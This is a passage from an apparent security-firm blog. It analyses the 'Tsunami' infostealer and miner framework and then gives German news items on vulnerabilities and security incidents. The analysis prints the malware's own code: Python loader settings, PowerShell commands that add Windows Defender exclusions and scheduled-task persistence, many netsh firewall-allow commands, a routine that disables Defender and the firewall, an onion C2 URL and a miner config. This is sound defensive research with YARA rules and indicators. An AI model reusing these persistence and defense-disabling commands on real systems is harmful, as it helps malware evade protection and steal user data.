contents, we are able to identify the location where the Tsunami Injector and Tsunami Installer are
stored and executed. Additionally, the actors install a Python interpreter, presumably to ensure their
version requirements are met.

  ##### Globals ##### 

DEBUG_MODE = False

PYTHON_INSTALLER_URL = "https://www.python.org/ftp/python/3.11.0/python-3.11.0-amd64.exe"

APPDATA_ROAMING_DIRECTORY = os.getenv("APPDATA")

TSUNAMI_INJECTOR_NAME = "Windows Update Script.pyw"
TSUNAMI_INJECTOR_FOLDER = f"{APPDATA_ROAMING_DIRECTORY}/Microsoft/Windows/Start Menu/Programs/Startup"
TSUNAMI_INJECTOR_PATH = rf"{TSUNAMI_INJECTOR_FOLDER}/{TSUNAMI_INJECTOR_NAME}"

TSUNAMI_INJECTOR_SCRIPT = """


##### Globals #####

DEBUG_MODE = False

ROAMING_APPDATA_PATH = os.getenv("APPDATA")
LOCAL_APPDATA_PATH = os.getenv("LOCALAPPDATA")

TSUNAMI_PAYLOAD_NAME = "".join([random.choice(string.ascii_letters) for i in range(16)])
TSUNAMI_PAYLOAD_FOLDER = tempfile.gettempdir()
TSUNAMI_PAYLOAD_PATH = rf"{TSUNAMI_PAYLOAD_FOLDER}\{TSUNAMI_PAYLOAD_NAME}"

TSUNAMI_INSTALLER_NAME = "Runtime Broker"
TSUNAMI_INSTALLER_FOLDER = rf"{ROAMING_APPDATA_PATH}\Microsoft\Windows\Applications"
TSUNAMI_INSTALLER_PATH = rf"{TSUNAMI_INSTALLER_FOLDER}\Runtime Broker.exe"

TSUNAMI_PAYLOAD_SCRIPT = '''
RandVar = '?'

The launcher deploys a persistent “Tsunami-Injector” named “Windows Update Script.pyw” in
“AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup” and a “Tsunami_Installer” in
“AppData/Microsoft/Windows/Applications/Runtime Broker.exe”. It then adds a Windows-Defender
Exclusion for the “Runtime Broker.exe” and creates a Scheduled Task for secondary persistence.

##### Tsunami Payload ##### 

def add_windows_defender_exception(filepath: str) -> None:
try:
subprocess.run(
["powershell.exe", f"Add-MpPreference -ExclusionPath '{filepath}'"],
shell = True,
creationflags = subprocess.CREATE_NO_WINDOW,
stdout = subprocess.PIPE,
stderr = subprocess.PIPE,
stdin = subprocess.PIPE
)

output(f"Added a new file to the Windows Defender exception")
except Exception as e:
output(f"[-] Failed to add Windows Defender exception: {e}")

def create_task() -> None:
powershell_script = f\"\"\"
$Action = New-ScheduledTaskAction -Execute "{TSUNAMI_INSTALLER_PATH}"
$Trigger = New-ScheduledTaskTrigger -AtLogOn
$Principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive
$Principal.RunLevel = 1
$Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -DontStopOnIdleEnd
Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings -TaskName "Runtime Broker"
\"\"\"

The launcher-script contains a list of 1.000 XOR-encrypted Pastebin-User-Urls and checks for
uploaded Pastes, which contain the Download-URL for the “Tsunami-Installer”.

#### URL Downloader ##### 

def xor_encrypt(text: bytes):
XOR_KEY = b"!!!HappyPenguin1950!!!"

encrypted_text = bytearray()
for i in range(len(text)):
encrypted_text.append(text[i] ^ XOR_KEY[i % len(XOR_KEY)])
return bytes(encrypted_text)

def xor_decrypt(text: bytes):
return xor_encrypt(text)

def decode(encoded: str) -> str:
encoded_bytes = binascii.unhexlify(encoded)
encoded_bytes = xor_decrypt(encoded_bytes)
encoded = base64.b64decode(encoded_bytes).decode()

return encoded[::-1]

def download_installer_url() -> str:
URLS = [

"6c5b6c7c2f1d081134225b0b2f2e025b6005764a434c774f7b1d19163e3d091c205419060d76004f52135951406763783b274511322d2
c0b172e027675066557437618
4b6d255400291406550d55331e224801035312631145664675",

The “Tsunami-Installer” was written in .Net and contains further persistence mechanisms. During
execution, it adds multiple Windows-Defender- and Windows-Firewall-Exclusions and, if successful,
drops a “TsuAmFlag.txt” in “AppData/Local/Temp”.

powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System Runtime 
Monitor.exe'
powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Applications\Runtime Broker.exe'
powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Local\Microsoft\Windows\Applications\Runtime Broker.exe'
powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Dependencies\System Runtime Monitor.exe'
powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Local\Microsoft\WindowsApps\msedge.exe'
powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Local\Temp\\Runtime Broker.exe'
powershell.exe netsh advfirewall firewall add rule name='Microsoft Edge WebEngine' dir=in action=allow 
program='C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System Runtime Monitor.exe' enable=yes
powershell.exe netsh advfirewall firewall add rule name='Microsoft Edge WebEngine' dir=in action=allow
program='C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Applications\Runtime Broker.exe' enable=yes
powershell.exe netsh advfirewall firewall add rule name='Microsoft Edge WebEngine' dir=in action=allow
program='C:\Users\{USERNAME}\AppData\Local\Microsoft\Windows\Applications\Runtime Broker.exe' enable=yes
powershell.exe netsh advfirewall firewall add rule name='Microsoft Edge WebEngine' dir=in action=allow
program='C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Dependencies\System Runtime Monitor.exe' enable=yes
powershell.exe netsh advfirewall firewall add rule name='Microsoft Edge WebEngine' dir=in action=allow
program='C:\Users\{USERNAME}\AppData\Local\Microsoft\WindowsApps\msedge.exe' enable=yes
powershell.exe netsh advfirewall firewall add rule name='Microsoft Edge WebEngine' dir=in action=allow
program='C:\Users\{USERNAME}\AppData\Local\Temp\\Runtime Broker.exe' enable=yes
C:\Windows\system32\netsh.exe advfirewall firewall add rule "name=Microsoft Edge WebEngine" dir=in action=allow
"program=C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System Runtime Monitor.exe" enable=yes
C:\Windows\system32\netsh.exe advfirewall firewall add rule "name=Microsoft Edge WebEngine" dir=in action=allow
"program=C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Applications\Runtime Broker.exe" enable=yes
C:\Windows\system32\netsh.exe advfirewall firewall add rule "name=Microsoft Edge WebEngine" dir=in action=allow
"program=C:\Users\{USERNAME}\AppData\Local\Microsoft\Windows\Applications\Runtime Broker.exe" enable=yes
C:\Windows\system32\netsh.exe advfirewall firewall add rule "name=Microsoft Edge WebEngine" dir=in action=allow
"program=C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Dependencies\System Runtime Monitor.exe" enable=yes
C:\Windows\system32\netsh.exe advfirewall firewall add rule "name=Microsoft Edge WebEngine" dir=in action=allow
program=C:\Users\{USERNAME}\AppData\Local\Microsoft\WindowsApps\msedge.exe enable=yes
C:\Windows\system32\netsh.exe advfirewall firewall add rule "name=Microsoft Edge WebEngine" dir=in action=allow
"program=C:\Users\{USERNAME}\AppData\Local\Temp\\Runtime Broker.exe" enable=yes

Depending on the existence of “TsuAmFlag.txt” the Malware lies dorment for 1 or 5 minutes.

private static void DisableWindowsSecurity() 
{
int num = AntiDefender.FlagExists() ? 1 : 0;
AntiDefender.DisableWindowsDefender();
AntiDefender.DisableWindowsFirewall();
if (num != 0)
{
Logger.LogInfo("Program.DisableWindowsSecurity", "Detected Anti Malware flag, sleeping for 1 minute");
Thread.Sleep(60000);
}
else
{
Logger.LogInfo("Program.DisableWindowsSecurity", "Did not detect Anti Malware flag, sleeping for 5 minutes");
Thread.Sleep(300000);
}

The binary further contains a “RessourceLoader” which extracts incorporated PE-Files. Here the Installer extracts a Tor-Client:

namespace TsunamiInstaller 
{
public static class ResourceLoader
{
public static byte[] Load(Resources resource)
{
byte[] resource1 = ResourceLoader.GetResource(resource);
if (resource1.Length == 0)
return new byte[0];
Array.Reverse<byte>(resource1);
return GZIP.Decompress(resource1);
}

private static byte[] GetResource(Resources resource) => resource == Resources.TorExecutable ? Resource1.tor_exe : new byte[0];
}
}

The deployed Tor-Binary is then used to downlaod a Client from a hardcoded Onion-URL:

namespace.Tsunami.Core.App 
{
public static class Meta
{
private static UsageType _UsageType = UsageType.None;
private static string _AppVersion = "";
private static string _AppSessionID = "";
private static string _ServerURL = "";

public static void Init(UsageType type, string appVersion)
{
Meta._UsageType = type;
Meta._AppVersion = appVersion;
Meta._AppSessionID = Guid.NewGuid().ToString();
Meta._ServerURL = "http://n34kr3z26f3jzp4ckmwuv5ipqyatumdxhgjgsmucc65jac56khdy5zqd.onion";
}

The downloaded client then contains multiple modules:

  • Backdoor
  • Botnet
  • BraveCredentialStealer
  • BrowserCookie
  • BrowserCreditCard
  • BrowserPassword
  • BrowserSession
  • ChromeCredentialStealer
  • ChromiumStealer
  • CryptoMiner
  • DataStealer
  • Decryptor
  • DiscordAccount
  • EdgeCredentialStealer
  • EncryptedKey
  • EthereumMiner
  • ExodusStealer
  • FirefoxCredentialStealer
  • GeckoStealer
  • KeyLogger
  • InfoStealer
  • MoneroMiner
  • Nss3
  • OperaGXCredentialStealer
  • Profile
  • Secret
  • SecretFileStealer
  • TemperatureTracker
  • UpdateVisitor
  • WinApi

These modules provide multiple solutions for acquiring credentials, session-keys, cookies and a
keylogger (Backdoor). A recent development has been the “SecretFileStealer” module that searches
for and uploads files matching conditions that are dynamically loaded from the C2-Server. The
“Botnet” module stands out because it is uncommon for this type of malware. It also seems to be in
the early stages of development as it is not fully functional in the most recent version.

For Command-and-Control the Onion-Domain provides multiple Endpoints:

  • /api/v1/browser-passwords
  • /api/v1/browser-sessions
  • /assets/v2/tsunami-client/file
  • /api/v1/discord-accounts
  • /api/v1/environment-info
  • /assets/v2/tsunami-client/hash
  • /api/v1/init
  • /api/v1/telemetry
  • /assets/v2/dotnet6-installer-url

Like the “Tsunami-Installer” the “Tsunami-Client” contains multiple files:

  • AMD_Compute_Mode_Enabler.reg
  • ETHW_Miner.exe
  • Ldbdump.exe
  • Tor.exe
  • XMRig.exe
  • Xmrig_config.json
  • XMRig_Driver.sys

We assume the Framework to be in a testing-phase according to the “’rig-id’: ‘test’” in
“Xmrig_config.json” (below).


"pools": [
{
"coin": "monero",
"url": "xmrpool.eu:5555",
"user": "45Kwfu8Q7B18zg5THCz3Jze9YSVn54BPh1tBgzyqJmmUL8YWwXLhs1NV1LCLLv1cJTAHrKhn4cwVNNuzdaydbDXJT9eiQuf",
"pass": "x",
"rig-id": "test",
"keepalive": true,
"enabled": true
}

Detection and Response

YARA

rule tsunami_framework : apt { 
meta:
name = "tsunami_framework"
category = "framework"
description = "Detects Tsunami-Framework"
author = "Nicolas Sprenger (HiSolutions AG)"
created = "2024-12-18"
reliability = 100
tlp = "TLP:clear"
sample = "ab7608bc7af2c4cdf682d3bf065dd3043d7351ceadc8ff1d5231a21a3f2c6527"
score = 100

strings:
$ = "=/\x00a\x00s\x00s\x00e\x00t\x00s\x00/\x00v\x002\x00/\x00t\x00s\x00u\x00n\x00a\x00m\x00i\x00-\x00c\x00l\x00i\x00e\x00n\x00t\x00"
$ = "/\x00a\x00p\x00i\x00/\x00v\x001\x00/\x00b\x00r\x00o\x00w\x00s\x00e\x00r\x00-\x00p\x00a\x00s\x00s\x00w\x00o\x00r\x00d\x00s"
$ =
"/\x00a\x00p\x00i\x00/\x00v\x001\x00/\x00i\x00n\x00i\x00t\x00\x001/\x00a\x00p\x00i\x00/\x00v\x001\x00/\x00e\x0
0n\x00v\x00i\x00r\x00o\x00n\x00m\x00e\x00n
\x00t\x00-\x00i\x00n\x00f\x00o\x00"
$ = "a\x00p\x00i\x00/\x00v\x001\x00/\x00d\x00i\x00s\x00c\x00o\x00r\x00d\x00-\x00a\x00c\x00c\x00o\x00u\x00n\x00t\x00s\x00"
$ = "a\x00s\x00s\x00e\x00t\x00s\x00/\x00v\x002\x00/\x00d\x00o\x00t\x00n\x00e\x00t\x006\x00-\x00i\x00n\x00s\x00t\x00a\x00l\x00l\x00e\x00r\x00-
\x00u\x00r\x00l"
$ = { 5473756E616D692E436F72652E436F6D6D6F6E2E }
$ = { 680074007400700073003A002F002F006100700069002E00690070006900660079002E006F0072006700 } // "https://api.ipify.org"
$ = { 68007400740070003A002F002F006900700069006E0066006F002E0069006F002F00 } // "http://ipinfo.io/"

condition:
uint16(0) == 0x5a4d and all of them
}

TTP and Indicators

MITRE ATT&CK TTP

IDTechniqueComment
T1082System Information DiscoveryDuring Initialization the malware
sends hardware and OS information to the C2.
T1589.001Gather Victim Identity Information:
Credentials
Multiple modules collect credentials from browsers and other applications.
T1587.001Develop Capabilities: MalwareThe Threat Actor actively develops the Tsunami malware.
T1584.005Compromise Infrastructure: BotnetThe malware includes Botnet functionality.
T1608Stage CapabilitiesThe infection chain relies on multiple stages hosted on different systems and services.
T1566PhishingThe Threat Actor approaches their
victims via LinkedIn and poses as a potential business partner.
T1059Command and Scripting InterpreterMultiple stages rely on Scripting
Interpreters like JavaScript,
PowerShell and Python.
T1053.005Scheduled Task/JobThe malware loader relies on a
Scheduled Task for persistence.
T1204User ExecutionThe Initial Access relies on the user executing a backdoored GitHub repository.
T1547Boot or Logon Autostart ExecutionThe Tsunami Payload creates a
Startup Task for persistence.
T1562.004Impair Defenses: Disable or Modify System FirewallThe Windows Firewall is being
disabled.
T1562.001Impair Defenses: Disable or Modify ToolsWindows Defender is being disabled.
T1027Obfuscated Files or InformationThe initial stages are heavily
obfuscated and later stages are
slightly obfuscated.
T1056Input CaptureThe malware has Keylogging
capabilities.
T1539Steal Web Session CookieThe malware exfiltrates Browser
Session Cookies.
T1555Credentials from Password StoresMultiple Applications and Browsers are accessed for credential access.
T1083File and Directory DiscoverySpecific files are sought out and
uploaded to the C2 Server.
T1020Automated ExfiltrationThe malware automatically and
periodically uploads gathered
information.
T1496.001Resource Hijacking: Compute
Hijacking
Multiple Cryptominers are deployed by the malware

Indicator of Compromise

ValueTypeComment
3f424b477ac16463e871726cbb106d41574d2d0e910dee035fbd23241515e770SHA256Tor.exe
b25e1a54e9c53bf6367c449be46f32241d1fd9bf76be9934d42c121105fb497dSHA256AMD_Compute_Mode_Enabler.reg
bb3af0c03e6b0833fa268d98e5a8b19e78fb108a830b58b2ade50c57e9fc9bedSHA256ETHW_Miner.exe
f96744a85419907e7c442b13beeefb6f985f3905a992dfefee03820ec6570feaSHA256ldbdump.exe
2883b1ae430003f3eff809f0461e18694ee1e2bc38c98f9eff22a50b5043a770SHA256XMRig.exe
94186315edde9ab18d6772449bb0b33a37490c336fccbc81bc7a6b6b728232b1SHA256xmrig_config.json
11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5SHA256XMRig_Driver.sys
C:\Tsunami\Tsunami Stable\Tsunami Client\obj\Release\net6.0\win-x64\Runtime Broker.pdbPDB-Path
E:\Tsunami\Tsunami Stable\Tsunami Payload\obj\Release\net6.0\win-x64\Tsunami Payload.pdbPDB-Path
C:\Tsunami\Tsunami Stable\Tsunami Client\obj\Release\net6.0\win-x64\Runtime Broker.pdbPDB-Path
3769508daa5ee5955c7d0a5493b0a159e874745e575ac6ea1a5b544358132086SHA256Packed Sample from Onion
28660b81fd4898da3b9a861af716dc2ed60dd6a6eb582782e9d8451b1f257630SHA256Unpacked Sample from Onion
a2ae1da09f7508ff34bd9acc672b3cf456e053bb46d4aa3cd283a7f263e37acbSHA256
23.254.229[.]101IPv4
http://23.254.229[.]101/cat-video URLHosts Tsunami-Installer
e9571e21150d7333bfada0ef836adad555547411a2b56990da632f64d0262ef8SHA256
a2ae1da09f7508ff34bd9acc672b3cf456e053bb46d4aa3cd283a7f263e37acbSHA256cat-video
n34kr3z26f3jzp4ckmwuv5ipqyatumdxhgjgsmucc65jac56khdy5zqd.onionC2-
Domain
Sometimes you never know the value of a moment until it becomes a memoryString
Extensive documentation on this process has been included on
my YouTube channel: https://www.youtube.com/watch?v=QB7ACr7pUuE
String
headers = {„User-Agent“:“Mozilla/5.0″}String
XOR_KEY = b“!!!HappyPenguin1950!!!“String

Weitere News im April

Kritische Schwachstelle in Ivanti ICS

In den letzten Wochen hat eine schwerwiegende Sicherheitslücke in der VPN-Software Ivanti Connect Secure (ICS) für Aufsehen gesorgt. Ursprünglich als einfacher Bug eingestuft, hat sich diese Schwachstelle als kritische Bedrohung herausgestellt und wird bereits aktiv ausgenutzt.

Die Schwachstelle, die unter der Kennung CVE-2025-22457 geführt wird, ist ein stack-basierter Pufferüberlauf. Durch diese Art von Schwachstelle können Angreifende ohne vorherige Authentifizierung Schadcode aus der Ferne einschleusen und ausführen. Der Fehler wurde in der Version 22.7R2.6 von Ivanti Connect Secure vollständig gepatcht, nachdem er zunächst als weniger kritisch eingestuft wurde.

Seit Mitte März 2025 wurden Angriffe einer chinesischen Cyber-Bande auf diese Schwachstelle beobachtet. Die Gruppe, die den Namen UNC5221 trägt, hat auf den betroffenen Systemen Malware wie den Dropper „Trailblaze“ und die Backdoor „Brushfire“ installiert. Diese Tools ermöglichen es den Angreifenden, unbemerkt Zugang zu den Systemen zu erhalten und weitere schädliche Aktivitäten durchzuführen.

Ivanti hat die ursprüngliche Fehleinschätzung der Schwachstelle eingeräumt und betont, dass die Sicherheitslücke in der neuesten Version der Software behoben wurde.

https://www.bsi.bund.de/SharedDocs/Cybersicherheitswarnungen/DE/2025/2025-213156-1032.pdf

https://www.heise.de/news/Nur-als-Bug-klassifiziert-Kritische-Sicherheitsluecke-in-Ivanti-ICS-attackiert-10339954.html

Gmails neue E2EE-Funktion

Die Verschlüsselung von E-Mails stellt nach wie vor eine Herausforderung dar (siehe hierzu auch unseren Blog-Beitrag aus dem Jahr 2021). Dabei ist nicht nur die Wahl des geeigneten Standards von Bedeutung (PGP/inline, PGP/MIME oder S/MIME), sondern insbesondere auch die zuverlässige und sichere (authentische) Verteilung der Schlüssel. Google versucht nun, diese Herausforderung mit einem neuen Feature, der Key Access Control List (KACL), zu lösen. Die KACL ist ein zentraler Bestandteil der neuen Ende-zu-Ende-Verschlüsselungsfunktion (E2EE) von Gmail. Der KACL-Server fungiert als leichtgewichtiger Schlüsselserver und kann entweder lokal oder in den meisten Cloud-Diensten gehostet werden. Er generiert und speichert die Verschlüsselungsschlüssel, die für E2EE-Nachrichten verwendet werden. Beim Versand einer verschlüsselten Nachricht verbindet sich der Browser des Absenders mit dem KACL-Server und erhält einen temporären symmetrischen Verschlüsselungsschlüssel. Um die verschlüsselte E-Mail lesen zu können, benötigt man entweder einen Google-Account oder eine Guest-Google-Workspace-Account. Jeder mit Zugriff auf diese Konten kann dann auch die E-Mail im Klartext lesen. Die Erläuterung wie eine zuverlässige Verknüpfung erfolgt, wenn das Empfängerpostfach nicht bei Google liegt, bleibt Google in seiner aktuellen Dokumentation noch schuldig. Somit ist es weniger eine echte E2EE, wo auch wirklich nur der Empfänger (als Person) die Nachricht unverschlüsselt lesen kann. Ob sich dieser Ansatz durchsetzt und die gewünschte Sicherheit bietet, muss noch abgewartet und ggf. im Einzelfall genau geprüft werden. Hierbei wird die Authentizitätsprüfung des Empfängers ein kritischer Aspekt sein.

https://arstechnica.com/security/2025/04/are-new-google-e2ee-emails-really-end-to-end-encrypted-kinda-but-not-really

https://lifehacker.com/how-to-enable-end-to-end-encryption-in-google-messages-1845845418

https://workspace.google.com/blog/identity-and-security/gmail-easy-end-to-end-encryption-all-businesses

Kommandozeilenargumente und EDR-Erkennung

Eine der großen Aufgaben in der Abwehr von Cyber-Angriffen ist die Erkennung von Anomalien. Seit einigen Jahren jedoch sehen wir in der Praxis eine immer höhere Nutzung sogenannter Living off the Land Binaries (LOLBINs). Dies sind auf dem Zielsystem bereits vorhandene reguläre Programme, die durch die Angreifenden missbräuchlich genutzt werden können. Dadurch fällt es schwerer, den Angriff von normalem Nutzerverhalten zu unterscheiden. Ein klassisches Beispiel hierfür sind Remote-Steuerungsanwendungen wie TeamViewer.

Die Hersteller von Lösungen für die Endpoint Detection and Response (EDR) und den Virenschutz fingen daraufhin an, beim Aufruf solcher Programme die Kommandozeilenargumente mit in die Bewertung aufzunehmen, um Anomalien besser zu entdecken. Ein Sicherheitsforscher hat nun gezeigt, wie man bei einigen bekannten Programmen deren Argument-Parsing ausnutzen kann, um EDR-Regeln auszutricksen.

Auch wenn dies nur ein kleiner Baustein im gesamten Konstrukt der Vorfallbehandlung und -erkennung ist, so zeigt es deutlich, wie kreativ Angreifende werden können, und welche Fallstricke beim komplizierten Themenfeld Threat Hunting auftreten können.

https://www.wietzebeukema.nl/blog/bypassing-detections-with-command-line-obfuscation

Titel Signalgate

Signalgate

Die sogenannte Signal-Affäre hat in den letzten Wochen für erhebliche Aufregung in Washington gesorgt. Ein angesehener US-Journalist, Jeffrey Goldberg, wurde versehentlich in einen vertraulichen Signal-Chat der US-Regierung eingeladen, in dem hochrangige Regierungsvertreter militärische Operationen im Jemen diskutierten. Die Frage, die sich in diesem Zusammenhang stellt, ist, wie es zu diesem sicherheitsrelevanten Fauxpas kommen konnte. Wir können guten Gewissens ausschließen, dass es sich um einen Hack oder eine schadhafte Funktion in der Signal-App gehandelt hat, wie es von Seiten der amerikanischen Regierung anfänglich angedeutet wurde.

Der Signal-Messenger hat eine Schwäche im Design: Die Überprüfung, ob der Gesprächspartner tatsächlich derjenige ist, mit dem man kommunizieren möchte, liegt in der Verantwortung des Benutzers. Dies bedeutet, dass keine Sicherheitsgarantie für die Authentizität des Kommunikationspartners besteht. Signal bietet seinen Nutzern jedoch die Möglichkeit, die Authentizität ihrer Kommunikationspartner selbst zu überprüfen und dann in Signal zu vermerken. Diese Funktion wird jedoch in der Benutzeroberfläche nicht so prominent dargestellt wie beispielsweise bei Threema mit dem Ampelsystem. Erst durch die Überprüfung der Sicherheitsnummer über einen zweiten Kanal wird die Authentizität des Kommunikationspartners sichergestellt.

Die Nachlässigkeit, die Sicherheitsnummer nicht überprüft zu haben, wurde dem nationalen Sicherheitsberater Mike Waltz zum Verhängnis, da er die Personen nur aufgrund der in seinem Handy gespeicherten Telefonnummern in die betroffene Signal-Gruppe aufnahm. Aktuellen Berichten zufolge hat das Mobiltelefon von Mike Waltz die Telefonnummer von Jeffrey Goldberg aufgrund eines Fehlers in der automatischen Kontaktverknüpfung des iPhones einem bestehenden Kontakt zugeordnet.

Nicht ohne Grund gibt es für die Kommunikation, bei der nicht nur Nachrichten sicher verschlüsselt übertragen werden sollen, sondern auch die Authentizität aller Kommunikationsteilnehmenden zuverlässig und dauerhaft sichergestellt sein muss, zertifizierte Lösungen, die zentral von einer der Geheimhaltungsstufe entsprechenden vertrauenswürdigen Stelle betrieben werden. Diese Stelle übernimmt auch die Registrierung und Prüfung der Authentizität von Teilnehmenden. Warum eine solche Kommunikationsplattform in diesem Fall nicht verwendet wurde, darüber kann nur spekuliert werden.

https://t3n.de/news/geheimchat-affaere-usa-signal-gewinner-1680595

https://www.br.de/nachrichten/deutschland-welt/signal-affaere-pentagon-ermittelt-gegen-eigenen-chef-hegseth

https://www.heise.de/news/Signal-Affaere-US-Journalist-angeblich-dank-iOS-Funktion-in-geheimem-Gruppenchat-10342141.html

https://www.t-online.de/nachrichten/ausland/usa/id_100668006/signal-affaere-wie-jeffrey-goldberg-vom-atlantic-in-die-chatgruppe-kam.html

https://www.theguardian.com/us-news/2025/apr/06/signal-group-chat-leak-how-it-happened

https://www.heise.de/news/US-Verteidigungsminister-Pentagon-Aufsicht-prueft-Verhalten-in-Signal-Affaere-10340035.html

https://www.heise.de/news/US-Regierung-Austausch-ueber-die-Krisen-der-Welt-in-viel-mehr-Gruppenchats-10339137.html

https://threema.ch/de/faq/levels_expl

https://support.signal.org/hc/de/articles/360007060632

Weitere News im März

Apple zieht Datenschutz-Tool nach Sicherheitsstreit mit der britischen Regierung zurück

Apple hat beschlossen, seine höchste Sicherheitsstufe, Advanced Data Protection (ADP), für Kunden im Vereinigten Königreich abzuschaffen, nachdem die britische Regierung Zugang zu den Nutzerdaten verlangt hat. ADP bietet eine Ende-zu-Ende-Verschlüsselung, die es nur Kontoinhabern ermöglicht, auf ihre gespeicherten Daten zuzugreifen. Die britische Regierung verlangte jedoch das Recht, diese Daten einzusehen.

Eine entsprechende Modifikation der Funktionalität hat Apple abgelehnt, weil diese die Sicherheit des Schutzmechanismus unterlaufen würde. Britische Apple-Nutzer können jedoch ADP nicht mehr aktivieren, und bestehende Nutzer werden den Zugang später verlieren. Damit fällt die Ende-zu-Ende-Verschlüsselung weg und Dritte, die Zugriff auf die Hintergrundsysteme haben, können prinzipiell die Kundendaten einsehen. Diese Entscheidung hat heftige Reaktionen von Datenschützern und Experten hervorgerufen, die diese Maßnahme als Schwächung der Online-Sicherheit und der Privatsphäre kritisieren.

Die Entscheidung von Apple, ADP in Großbritannien zu deaktivieren, zeigt die Spannungen zwischen Technologieunternehmen und Regierungen in Bezug auf Datenschutz und Sicherheit. Während die britische Regierung argumentiert, dass der Zugang zu verschlüsselten Daten für die Strafverfolgung notwendig sei, betonen Apple und Datenschützer die Bedeutung der Privatsphäre und die Risiken, die mit der Schaffung von „Hintertüren“ verbunden sind. Diese Entwicklung könnte als Präzedenzfall für andere Länder dienen und hat weitreichende Auswirkungen auf die globale Datensicherheit und den Schutz der Privatsphäre.

In Deutschland und der EU ist es aufgrund der strengen Datenschutzregelungen und der Unterstützung von Ende-zu-Ende-Verschlüsselung durch die DSGVO unwahrscheinlich, dass eine ähnliche Situation wie im Vereinigten Königreich entsteht.

https://www.bbc.com/news/articles/cgj54eq4vejo

https://www.heise.de/news/Vergleich-zu-China-Trump-kritisiert-Grossbritanniens-Backdoor-Anordnung-an-Apple-10302545.html

Cisco-Lücke in OpenH264 (CVE-2025-27091)

Eine Schwachstelle in den Decodierungsfunktionen der OpenH264-Bibliothek ermöglicht es einem nicht authentifizierten Angreifenden, aus der Ferne einen Heap-Überlauf auszulösen. Angreifende können einen bösartigen Bitstream in ein Video einbetten und das Opfer dazu bringen, das Video abzuspielen. Dies kann zu einem unerwarteten Absturz des Dekodier-Clients führen und möglicherweise beliebige Befehle auf dem System des Opfers ausführen.

Die betroffenen Versionen sind OpenH264 2.5.0 und vorherige.

OpenH264 sollte auf die neueste Version (2.6.0 oder höher) aktualisiert werden, um diese Schwachstelle zu beheben.

Firefox empfiehlt die Deaktivierung des H264-Features, wenn das Betriebssystem keinen Support für OpenH264 mitliefert.

https://github.com/cisco/openh264/security/advisories/GHSA-m99q-5j7x-7m9x

https://support.mozilla.org/de/kb/openh264-plugin-firefox

Herausforderungen und Chancen der neuen US-Regierung

Die neue US-Regierung unter Trump hat in den vergangenen Wochen viele Entscheidungen getroffen, die für Schlagzeilen gesorgt haben. Nach Anweisung des Secretary of Defense an das Cyber Command Ende Februar, alle Aktionen gegen Russland einzustellen, wurde dies Anfang März dementiert. Parallel arbeitete das Department of Goverment Efficiency („DOGE“) an der Entlassung des Red Teams der CISA bzw. an fragwürdigen Einstellungen ehemaliger Cyberkrimineller im Department of Homeland Security (DHS).

Neben den direkten Auswirkungen auf z. B. bestehende Konflikte sind auch die Verbündeten der USA unsicher über die weitere Zusammenarbeit. Auch die Sicherheits-Community ist von diesen Änderungen betroffen. Das Thema Threat Intelligence wurde in den letzten Jahren maßgeblich durch diese Institutionen geprägt, und bisher ist noch unklar, ob und in welcher Form Alternativen funktionieren.

https://therecord.media/hegseth-orders-cyber-command-stand-down-russia-planning

https://www.politico.eu/article/france-has-trouble-understanding-us-halt-on-cyber-operations-against-russia

https://www.csoonline.com/article/3839098/the-risks-of-standing-down-why-halting-us-cyber-ops-against-russia-erodes-deterrence.html

https://www.stripes.com/theaters/us/2025-03-04/cyber-hegseth-pentagon-russia-17031715.html

Sicherheitsrisiko IoT

Die Akira-Ransomware konnte trotz vorhandener Schutzsoftware im Firmennetzwerk durch den Einsatz eines nicht gepatchten IoT-Geräts (Webcam) in das Firmennetz eindringen und dort die Rechner infizieren. Die Angreifenden nutzten eine Schwachstelle in der Software der Webcam, die nicht von der Endpoint-Detection-and-Response-Software überwacht wurde, um die Ransomware zu verbreiten und Rechner im Firmennetzwerk zu infizieren.

Um derartige Angriffe zu unterbinden, ist eine möglichst feine Segmentierung der Netzwerke sowie eine Überwachung des Datenverkehrs, insbesondere im Zusammenhang mit IoT-Geräten, empfehlenswert.

https://www.heise.de/news/Akira-Ransomware-schluepft-ueber-Webcam-an-IT-Schutzloesung-vorbei-10307987.html

https://www.golem.de/news/cyberangriff-analysiert-hacker-verschluesseln-unternehmensdaten-ueber-eine-webcam-2503-194073.html

https://www.bleepingcomputer.com/news/security/ransomware-gang-encrypted-network-from-a-webcam-to-bypass-edr

Entwickler erstellt Schadcode für den Fall seiner Entlassung

Ein Entwickler installierte in Sorge um seine Entlassung Schadcode auf Systemen seines Arbeitgebers. Dieser Code detektierte die Entlassung bei einer Deaktivierung seines Active-Directory-Nutzers. Der Schadcode setzte Endlosschleifen ein, die darauf abzielten, Java-Virtual-Machines unbenutzbar zu machen und so den Zugriff auf Server zu unterbinden. Als sein Nutzerkonto deaktiviert wurde, führte der Schadcode dazu, dass tausende Anwendende weltweit keinen Zugriff mehr hatten, was zu erheblichen Schäden führte. Dies ereignete sich bereits im Jahr 2019 und führte nun zu einer Verurteilung des Entwicklers.

